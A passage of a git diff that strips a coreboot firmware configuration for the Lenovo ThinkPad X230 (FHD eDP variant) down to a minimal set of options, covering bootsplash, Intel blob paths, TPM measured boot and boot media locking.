CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_RAM_SETUP=y -# CONFIG_DEBUG_RAM_SETUP is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_RAMSTAGE_ADA=y -CONFIG_RAMSTAGE_LIBHWBASE=y -CONFIG_HWBASE_DYNAMIC_MMIO=y -CONFIG_HWBASE_DEFAULT_MMCONF=0xf0000000 -CONFIG_HWBASE_DIRECT_PCIDEV=y -CONFIG_DECOMPRESS_OFAST=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-x230-maximized-fhd_edp.config b/config/coreboot-x230-maximized-fhd_edp.config index b468d8013..bffc62579 100644 --- a/config/coreboot-x230-maximized-fhd_edp.config +++ b/config/coreboot-x230-maximized-fhd_edp.config @@ -1,705 +1,31 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -CONFIG_OPTION_BACKEND_NONE=y -# CONFIG_USE_OPTION_TABLE is not set -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_SEPARATE_ROMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y -CONFIG_COLLECT_TIMESTAMPS=y CONFIG_TIMESTAMPS_ON_CONSOLE=y # CONFIG_USE_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -# CONFIG_NO_STAGE_CACHE is not set -CONFIG_TSEG_STAGE_CACHE=y -# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set -# CONFIG_VENDOR_PURISM is not set -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_UP is not set -CONFIG_BOARD_SPECIFIC_OPTIONS=y -CONFIG_MAINBOARD_FAMILY="ThinkPad X230" -CONFIG_MAINBOARD_PART_NUMBER="ThinkPad X230" -CONFIG_MAINBOARD_VERSION="1.0" -CONFIG_MAINBOARD_DIR="lenovo/x230" -CONFIG_VGA_BIOS_ID="8086,0166" -CONFIG_DIMM_MAX=4 -CONFIG_DIMM_SPD_SIZE=256 -CONFIG_FMDFILE="" CONFIG_NO_POST=y -CONFIG_MAINBOARD_VENDOR="LENOVO" CONFIG_CBFS_SIZE=0xBE4FFF -CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 -CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 -CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set -CONFIG_VARIANT_DIR="x230" -CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" -# CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" -CONFIG_DRAM_RESET_GATE_GPIO=10 -CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/x230_edp/data.vbt" -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 -CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" -CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_USBDEBUG_HCD_INDEX=2 -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_TPM_PIRQ=0x0 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -CONFIG_DCACHE_RAM_BASE=0xfefe0000 -CONFIG_DCACHE_RAM_SIZE=0x20000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 -CONFIG_HAVE_INTEL_FIRMWARE=y -CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y -CONFIG_SPI_FLASH_WINBOND=y # CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_SPI_FLASH_GIGADEVICE=y -CONFIG_SPI_FLASH_STMICRO=y -# CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad X230" CONFIG_HAVE_IFD_BIN=y -CONFIG_PCIEXP_HOTPLUG_BUSES=8 -CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 -CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 -# CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set -# CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set -# CONFIG_BOARD_LENOVO_L520 is not set -# CONFIG_BOARD_LENOVO_S230U is not set -# CONFIG_BOARD_LENOVO_T400 is not set -# CONFIG_BOARD_LENOVO_T500 is not set -# CONFIG_BOARD_LENOVO_R400 is not set -# CONFIG_BOARD_LENOVO_R500 is not set -# CONFIG_BOARD_LENOVO_W500 is not set -# CONFIG_BOARD_LENOVO_T410 is not set -# CONFIG_BOARD_LENOVO_T420 is not set -# CONFIG_BOARD_LENOVO_T420S is not set -# CONFIG_BOARD_LENOVO_THINKPAD_T430 is not set -# CONFIG_BOARD_LENOVO_T430S is not set -# CONFIG_BOARD_LENOVO_T431S is not set -# CONFIG_BOARD_LENOVO_T520 is not set -# CONFIG_BOARD_LENOVO_W520 is not set -# CONFIG_BOARD_LENOVO_T530 is not set -# CONFIG_BOARD_LENOVO_W530 is not set -# CONFIG_BOARD_LENOVO_T60 is not set -# CONFIG_BOARD_LENOVO_Z61T is not set -# CONFIG_BOARD_LENOVO_R60 is not set -# CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set -# CONFIG_BOARD_LENOVO_X131E is not set -# CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set -# CONFIG_BOARD_LENOVO_X200 is not set -# CONFIG_BOARD_LENOVO_X301 is not set -# CONFIG_BOARD_LENOVO_X201 is not set -# CONFIG_BOARD_LENOVO_X220 is not set -# CONFIG_BOARD_LENOVO_X220I is not set -# CONFIG_BOARD_LENOVO_X1 is not set -# CONFIG_BOARD_LENOVO_X230 is not set -# CONFIG_BOARD_LENOVO_X230T is not set -# CONFIG_BOARD_LENOVO_X230S is not set CONFIG_BOARD_LENOVO_X230_EDP=y -# CONFIG_BOARD_LENOVO_X60 is not set -CONFIG_VBOOT_SLOTS_RW_AB=y -CONFIG_DRIVER_LENOVO_SERIALS=y -CONFIG_PS2K_EISAID="PNP0303" -CONFIG_PS2M_EISAID="LEN0020" -CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" -CONFIG_GFX_GMA_PANEL_1_PORT="eDP" -CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -# CONFIG_PCIEXP_L1_SUB_STATE is not set -# CONFIG_PCIEXP_CLK_PM is not set -CONFIG_GFX_GMA_PANEL_1_ON_EDP=y -# CONFIG_DRIVERS_UART_8250IO is not set -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_12288=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -CONFIG_COREBOOT_ROMSIZE_KB_12288=y -# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=12288 -CONFIG_ROM_SIZE=0x00c00000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y -# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 -# end of Mainboard - -CONFIG_SYSTEM_TYPE_LAPTOP=y - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="northbridge/intel/sandybridge/chipset.cb" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_SMM_TSEG_SIZE=0x800000 -CONFIG_SMM_RESERVED_SIZE=0x100000 -CONFIG_SMM_MODULE_STACK_SIZE=0x400 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set -CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 -CONFIG_EHCI_BAR=0xfef00000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 -CONFIG_INTEL_GMA_BCLV_WIDTH=16 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 -CONFIG_INTEL_GMA_BCLM_WIDTH=16 -CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 -CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 -CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 -CONFIG_FIXED_SMBUS_IO_BASE=0x400 -CONFIG_CBFS_CACHE_ALIGN=8 - -# -# CPU -# -CONFIG_CPU_INTEL_MODEL_206AX=y -CONFIG_CPU_INTEL_COMMON=y -CONFIG_ENABLE_VMX=y -CONFIG_SET_IA32_FC_LOCK_BIT=y -CONFIG_SET_MSR_AESNI_LOCK_BIT=y -CONFIG_CPU_INTEL_COMMON_TIMEBASE=y -CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_MICROCODE_UPDATE_PRE_RAM=y -CONFIG_PARALLEL_MP=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_TSC_SYNC_MFENCE=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_TSEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SSE2=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y -CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set -# CONFIG_CPU_MICROCODE_CBFS_NONE is not set - -# -# Northbridge -# -CONFIG_USE_NATIVE_RAMINIT=y -CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y -# CONFIG_NATIVE_RAMINIT_IGNORE_MAX_MEM_FUSES is not set -# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_MAX_DIMMS is not set -# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set -# CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set -CONFIG_RAMINIT_ENABLE_ECC=y - -# -# Southbridge -# -CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y -CONFIG_SOUTHBRIDGE_INTEL_C216=y -# CONFIG_HIDE_MEI_ON_ERROR is not set -CONFIG_PCIEXP_HOTPLUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ME=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y -CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set # CONFIG_INTEL_CHIPSET_LOCKDOWN is not set -CONFIG_TCO_SPACE_NOT_YET_SPLIT=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# - -# -# Embedded Controllers -# -CONFIG_EC_ACPI=y -CONFIG_EC_LENOVO_H8=y -CONFIG_H8_BEEP_ON_DEATH=y -CONFIG_H8_FLASH_LEDS_ON_DEATH=y -# CONFIG_H8_SUPPORT_BT_ON_WIFI is not set -# CONFIG_H8_FN_CTRL_SWAP is not set -CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y -CONFIG_EC_LENOVO_PMH7=y - -# -# Intel Firmware -# CONFIG_HAVE_ME_BIN=y -# CONFIG_STITCH_ME_BIN is not set -# CONFIG_CHECK_ME is not set -# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set -# CONFIG_USE_ME_CLEANER is not set -CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y CONFIG_HAVE_GBE_BIN=y -# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set -# CONFIG_LOCK_MANAGEMENT_ENGINE is not set -CONFIG_UNLOCK_FLASH_REGIONS=y -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y -CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y -CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 -CONFIG_PC80_SYSTEM=y -CONFIG_HAVE_CMOS_DEFAULT=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_MAINBOARD_HAS_LIBGFXINIT=y -CONFIG_MAINBOARD_USE_LIBGFXINIT=y -# CONFIG_VGA_ROM_RUN is not set -# CONFIG_NO_GFX_INIT is not set -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_HDA_CODEC_SUPPORT=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x04000000 -CONFIG_PCI_ALLOW_BUS_MASTER=y -CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y -CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y -# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y -# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -CONFIG_INTEL_GMA_HAVE_VBT=y -CONFIG_INTEL_GMA_ADD_VBT=y -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_USE_DDR3=y -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_ELOG is not set -CONFIG_CACHE_MRC_SETTINGS=y -# CONFIG_MRC_SETTINGS_PROTECT is not set -# CONFIG_SMMSTORE is not set -CONFIG_SPI_FLASH=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_SPI_FLASH_ADESTO=y -CONFIG_SPI_FLASH_AMIC=y -CONFIG_SPI_FLASH_ATMEL=y -CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_MACRONIX=y -CONFIG_SPI_FLASH_SPANSION=y -CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_ISSI=y -CONFIG_TPM_INIT_RAMSTAGE=y -# CONFIG_TPM_PPI is not set -CONFIG_NO_UART_ON_SUPERIO=y -# CONFIG_DRIVERS_UART_OXPCIE is not set -CONFIG_HAVE_USBDEBUG=y -CONFIG_HAVE_USBDEBUG_OPTIONS=y -# CONFIG_USBDEBUG is not set -# CONFIG_VPD is not set -# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -# CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_INTEL_INT15=y -CONFIG_INTEL_GMA_ACPI=y -CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" -CONFIG_GFX_GMA=y -CONFIG_GFX_GMA_DYN_CPU=y -CONFIG_GFX_GMA_GENERATION="Ironlake" -CONFIG_GFX_GMA_PCH="Cougar_Point" -CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" -CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y -CONFIG_DRIVERS_MC146818=y -CONFIG_USE_PC_CMOS_ALTCENTURY=y -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -CONFIG_MEMORY_MAPPED_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -CONFIG_DRIVERS_RICOH_RCE822=y -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -CONFIG_VBOOT_LIB=y -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -# CONFIG_NO_TPM is not set -CONFIG_TPM1=y -CONFIG_TPM=y -CONFIG_MAINBOARD_HAS_TPM1=y -# CONFIG_TPM_DEACTIVATE is not set -# CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set -# CONFIG_TPM_LOG_CB is not set -CONFIG_TPM_LOG_TPM1=y -CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -# CONFIG_INTEL_TXT is not set -# CONFIG_STM is not set -# CONFIG_BOOTMEDIA_LOCK_NONE is not set CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y -# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set -# CONFIG_BOOTMEDIA_SMM_BWP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_NO_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_LAPIC=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y -CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set -# CONFIG_CONSOLE_SPI_FLASH is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -CONFIG_HWBASE_DEBUG_CB=y -# end of Console - -CONFIG_HAVE_ACPI_RESUME=y -CONFIG_RESUME_PATH_SAME_AS_BOOT=y -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_HAVE_OPTION_TABLE=y -CONFIG_IOAPIC=y -CONFIG_USE_WATCHDOG_ON_BOOT=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_SMBIOS_PROVIDED_BY_MOBO=y 